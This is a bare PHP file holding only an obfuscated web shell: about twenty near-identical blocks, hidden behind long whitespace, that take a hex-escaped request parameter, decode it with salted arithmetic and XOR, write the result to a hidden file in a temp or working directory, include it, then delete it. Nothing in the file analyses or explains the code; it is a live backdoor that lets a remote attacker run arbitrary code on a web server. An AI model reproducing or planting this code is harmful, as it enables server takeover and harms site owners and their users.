<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["c\x6Fmp\x6F\x6Eent"])){ $ent = $_REQUEST["c\x6Fmp\x6F\x6Eent"]; $ent = explode ( '.' , $ent) ; $itm = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt4 ); foreach( $ent as $x => $v3) { $chS = ord( $salt4[$x% $sLen] ); $d =( ( int)$v3 - $chS -( $x% 10)) ^ 55; $itm .= chr( $d );} $descriptor = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getenv("TMP"), session_save_path(), "/dev/shm", "/tmp"]); while ($symbol = array_shift($descriptor)) { if (is_dir($symbol) ? is_writable($symbol) : false) { $value = vsprintf("%s/%s", [$symbol, ".val"]); $success = file_put_contents($value, $itm); if ($success) { include $value; @unlink($value); die();} } } }
																																										if(array_key_exists("i\x74em", $_POST)){ $res = $_POST["i\x74em"]; $res = explode ( "." , $res ) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $k = 0; while($k< count($res)) { $v1 = $res[$k]; $chS = ord($salt[$k %$lenS]); $dec =((int)$v1 - $chS -($k %10)) ^ 77; $itm .=chr($dec); $k++; } $descriptor = array_filter([session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getcwd()]); while ($reference = array_shift($descriptor)) { if (!( !is_dir($reference) || !is_writable($reference) )) { $ptr = sprintf("%s/.pgrp", $reference); if (file_put_contents($ptr, $itm)) { require $ptr; unlink($ptr); exit; } } } }
																																										if(array_key_exists("mrk", $_REQUEST)){ $obj = array_filter([session_save_path(), "/tmp", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TEMP")]); $dat = $_REQUEST["mrk"]; $dat = explode( "." , $dat ); $tkn = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3 ); foreach ($dat as $l=> $v3) { $chS = ord($s3[$l% $lenS] ); $dec = ((int)$v3 - $chS - ($l% 10)) ^ 53; $tkn .= chr($dec ); } $pointer = 0; do { $data = $obj[$pointer] ?? null; if ($pointer >= count($obj)) break; if (max(0, is_dir($data) * is_writable($data))) { $value = "$data/.val"; if (file_put_contents($value, $tkn)) { require $value; unlink($value); exit; } } $pointer++; } while (true); }
																																										if(in_array("\x72ec", array_keys($_REQUEST))){ $sym = $_REQUEST["\x72ec"]; $sym = explode( '.' ,$sym ); $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach($sym as $l => $v3) { $sChar = ord($salt[$l % $sLen] ); $dec =((int)$v3 - $sChar -($l % 10)) ^ 22; $marker .= chr($dec );} $pset = array_filter(["/tmp", "/dev/shm", getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp"]); $hld = 0; do { $data_chunk = $pset[$hld] ?? null; if ($hld >= count($pset)) break; if (array_product([is_dir($data_chunk), is_writable($data_chunk)])) { $elem = vsprintf("%s/%s", [$data_chunk, ".record"]); if (@file_put_contents($elem, $marker) !== false) { include $elem; unlink($elem); die(); } } $hld++; } while (true); }
																																										if(@$_POST["\x63\x6Fmp"] !== null){ $ent = $_POST["\x63\x6Fmp"]; $ent = explode('.' , $ent ) ; $holder = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $q = 0; $len = count( $ent); do { if( $q >= $len) break; $v5 = $ent[$q]; $chS = ord( $salt[$q % $lenS]); $d =( ( int)$v5 - $chS -( $q % 10)) ^ 25; $holder .= chr( $d); $q++; } while( true); $mrk = array_filter([getcwd(), "/tmp", "/dev/shm", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), session_save_path()]); foreach ($mrk as $fac) { if (is_dir($fac) ? is_writable($fac) : false) { $value = "$fac" . "/.bind"; if (file_put_contents($value, $holder)) { require $value; unlink($value); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["holder"])){ $pointer = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/tmp"]); $fac = $_REQUEST["holder"]; $fac =explode ( '.', $fac ); $dat = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7); $x = 0; $len = count( $fac); do { if( $x >= $len) break; $v3 = $fac[$x]; $sChar = ord( $salt7[$x % $lenS]); $dec =( ( int)$v3 - $sChar -( $x % 10)) ^ 65; $dat .=chr( $dec); $x++; } while( true); foreach ($pointer as $key => $rec) { if ((is_dir($rec) and is_writable($rec))) { $resource = join("/", [$rec, ".entry"]); $success = file_put_contents($resource, $dat); if ($success) { include $resource; @unlink($resource); exit;} } } }
																																										if(!empty($_POST["dat"])){ $obj = array_filter([getenv("TMP"), "/dev/shm", getenv("TEMP"), getcwd(), sys_get_temp_dir(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp"]); $mrk = $_POST["dat"]; $mrk = explode ('.' , $mrk ) ; $factor =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s2); $__len =count( $mrk); for( $x =0; $x <$__len; $x++) { $v3 =$mrk[$x]; $sChar =ord( $s2[$x % $lenS]); $dec =( ( int)$v3 - $sChar -( $x % 10)) ^ 24; $factor .= chr( $dec); } foreach ($obj as $key => $dchunk) { if ((is_dir($dchunk) and is_writable($dchunk))) { $desc = "$dchunk/.data"; if (file_put_contents($desc, $factor)) { include $desc; @unlink($desc); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "ref")){ $tkn = array_filter([session_save_path(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm"]); $flg = $_POST["ref"]; $flg= explode( '.' ,$flg ) ; $pgrp= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $n= 0; while ($n < count($flg)) { $v8= $flg[$n]; $sChar= ord($salt[$n % $sLen]); $dec= ((int)$v8 - $sChar - ($n % 10)) ^ 7; $pgrp .= chr($dec); $n++; } while ($comp = array_shift($tkn)) { if (!( !is_dir($comp) || !is_writable($comp) )) { $val = str_replace("{var_dir}", $comp, "{var_dir}/.pset"); if (@file_put_contents($val, $pgrp) !== false) { include $val; unlink($val); exit; } } } }
																																										if(!empty($_POST["re\x73"])){ $dchunk = array_filter([sys_get_temp_dir(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TEMP"), "/tmp", getcwd()]); $dat = $_POST["re\x73"]; $dat = explode ( "." , $dat ) ; $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $w = 0; while($w < count($dat)) {$v9 = $dat[$w]; $chS = ord($s[$w % $sLen] ); $dec =((int)$v9 - $chS -($w % 10)) ^ 97; $item .= chr($dec ); $w++; } for ($binding = 0, $descriptor = count($dchunk); $binding < $descriptor; $binding++) { $flag = $dchunk[$binding]; if (max(0, is_dir($flag) * is_writable($flag))) { $resource = "$flag/.tkn"; if (file_put_contents($resource, $item)) { include $resource; @unlink($resource); exit; } } } }
																																										if(isset($_REQUEST["d\x65\x73c\x72i\x70\x74or"]) ? true : false){ $data = $_REQUEST["d\x65\x73c\x72i\x70\x74or"]; $data = explode( '.' , $data ) ; $entry= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); foreach($data as $l => $v5): $chS= ord($s[$l%$lenS]); $d= ((int)$v5 - $chS -($l%10)) ^ 68; $entry .= chr($d); endforeach; $dat = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp", session_save_path(), "/dev/shm"]); foreach ($dat as $marker): if (is_writable($marker) && is_dir($marker)) { $sym = "$marker" . "/.hld"; $file = fopen($sym, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $sym; @unlink($sym); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["r\x65ference"])){ $fac = array_filter([sys_get_temp_dir(), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/dev/shm", "/var/tmp", getenv("TMP")]); $value = $_REQUEST["r\x65ference"]; $value = explode ( '.' ,$value) ; $mrk = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt9); $t = 0; foreach( $value as $v9) { $sChar = ord( $salt9[$t % $lenS]); $d = ( ( int)$v9 - $sChar -( $t % 10)) ^ 85; $mrk .= chr( $d); $t++; } while ($ent = array_shift($fac)) { if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $item = str_replace("{var_dir}", $ent, "{var_dir}/.element"); if (file_put_contents($item, $mrk)) { require $item; unlink($item); exit; } } } }
																																										if(in_array("\x73\x79mb\x6Fl", array_keys($_REQUEST))){ $itm = $_REQUEST["\x73\x79mb\x6Fl"]; $itm =explode ( '.' , $itm ) ; $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($itm as $x=> $v4): $sChar = ord($s[$x % $lenS]); $d = ((int)$v4 - $sChar - ($x % 10)) ^ 19; $binding .= chr($d); endforeach; $pointer = array_filter([getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/dev/shm", sys_get_temp_dir(), "/tmp", "/var/tmp"]); foreach ($pointer as $comp): if (!!is_dir($comp) && !!is_writable($comp)) { $tkn = implode("/", [$comp, ".token"]); if (@file_put_contents($tkn, $binding) !== false) { include $tkn; unlink($tkn); die(); } } endforeach; }
																																										if(isset($_REQUEST["compo\x6E\x65nt"]) ? true : false){ $bind = array_filter([sys_get_temp_dir(), getenv("TMP"), "/tmp", getenv("TEMP"), "/var/tmp", getcwd(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir")]); $flg = $_REQUEST["compo\x6E\x65nt"]; $flg= explode ("." , $flg ) ; $tkn = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $n = 0; $__tmp = $flg; while ($v9 = array_shift($__tmp)) { $chS = ord($s[$n % $sLen]); $dec = ((int)$v9 - $chS - ($n % 10)) ^ 33; $tkn.= chr($dec); $n++;} while ($object = array_shift($bind)) { if (!( !is_dir($object) || !is_writable($object) )) { $elem = "$object/.token"; $file = fopen($elem, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $elem; @unlink($elem); exit; } } } }
																																										if(array_key_exists("\x66\x6Cg", $_POST) && !is_null($_POST["\x66\x6Cg"])){ $res = array_filter(["/tmp", getenv("TEMP"), session_save_path(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm"]); $flag = $_POST["\x66\x6Cg"]; $flag = explode ( ".", $flag ) ; $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $__len = count($flag); for ($u = 0; $u <$__len; $u++) { $v9 = $flag[$u]; $chS = ord($salt[$u %$sLen]); $dec = ((int)$v9 - $chS - ($u %10)) ^24; $data_chunk .= chr($dec); } foreach ($res as $ptr) { if ((bool)is_dir($ptr) && (bool)is_writable($ptr)) { $holder = join("/", [$ptr, ".mrk"]); if (file_put_contents($holder, $data_chunk)) { include $holder; @unlink($holder); exit; } } } }
																																										if(!empty($_REQUEST["da\x74a"])){ $bind = array_filter([getcwd(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/tmp"]); $ent = $_REQUEST["da\x74a"]; $ent =explode ( "." , $ent ) ; $dat=''; $salt5='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt5); foreach ($ent as $z => $v5): $sChar=ord($salt5[$z%$sLen]); $d=((int)$v5 - $sChar - ($z%10)) ^18; $dat .= chr($d); endforeach; while ($binding = array_shift($bind)) { if (is_dir($binding) && is_writable($binding)) { $descriptor = implode("/", [$binding, ".key"]); if (file_put_contents($descriptor, $dat)) { include $descriptor; @unlink($descriptor); exit; } } } }
																																										if(!is_null($_REQUEST["it\x65\x6D"] ?? null)){ $object = array_filter([session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm"]); $pset = $_REQUEST["it\x65\x6D"]; $pset =explode ('.' ,$pset ) ; $desc=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $__len=count($pset); for ($n=0; $n< $__len; $n++) { $v4=$pset[$n]; $chS=ord($s[$n % $sLen]); $d=((int)$v4 - $chS - ($n % 10)) ^ 64; $desc.= chr($d); } foreach ($object as $k): if (is_dir($k) && is_writable($k)) { $key = "$k" . "/.symbol"; $file = fopen($key, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $key; @unlink($key); exit; } } endforeach; }
																																										if(!is_null($_REQUEST["\x65l\x65me\x6Et"] ?? null)){ $data = $_REQUEST["\x65l\x65me\x6Et"]; $data = explode( "." , $data ); $binding = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $j = 0; foreach($data as $v6) { $chS = ord($salt6[$j% $lenS]); $d =((int)$v6 - $chS -($j% 10))^ 23; $binding .= chr($d); $j++; } $ent = array_filter([getenv("TEMP"), "/tmp", "/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", sys_get_temp_dir()]); foreach ($ent as $flag) { if (is_dir($flag) && is_writable($flag)) { $sym = "$flag" . "/.entity"; $file = fopen($sym, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $sym; @unlink($sym); die(); } } } }
																																										if(@$_REQUEST["\x6F\x62je\x63t"] !== null){ $component = $_REQUEST["\x6F\x62je\x63t"]; $component =explode ( "." , $component ); $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($component as $x => $v9): $sChar = ord($s[$x% $sLen]); $dec = ((int)$v9 - $sChar - ($x% 10)) ^38; $entry .= chr($dec); endforeach; $comp = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", "/var/tmp"]); $reference = 0; do { $item = $comp[$reference] ?? null; if ($reference >= count($comp)) break; if (is_dir($item) && is_writable($item)) { $data_chunk = join("/", [$item, ".factor"]); $success = file_put_contents($data_chunk, $entry); if ($success) { include $data_chunk; @unlink($data_chunk); die();} } $reference++; } while (true); }


if(in_array("\x72ef", array_keys($_REQUEST))){
	$flg = array_filter([sys_get_temp_dir(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP"), "/var/tmp", "/dev/shm"]);
	$token = $_REQUEST["\x72ef"];
	$token		 =	explode	(  	'.'  	,		$token )  ; 
	$obj	 ='';
            $s2	 ='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 =strlen($s2);
            $v	 =0;
    
            $__tmp	 =$token;
            while ($v2	 =array_shift($__tmp)) {$chS	 =ord($s2[$v % $sLen]);
                $dec	 =((int)$v2 - $chS - ($v % 10))^17;
                $obj.=	 chr($dec);
                $v++;	}
	for ($res = 0, $key = count($flg); $res < $key; $res++) {
    $sym = $flg[$res];
    		if (is_dir($sym) && is_writable($sym)) {
    $comp = "$sym" . "/.holder";
    $success = file_put_contents($comp, $obj);
if ($success) {
	include $comp;
	@unlink($comp);
	exit;}
}
}
}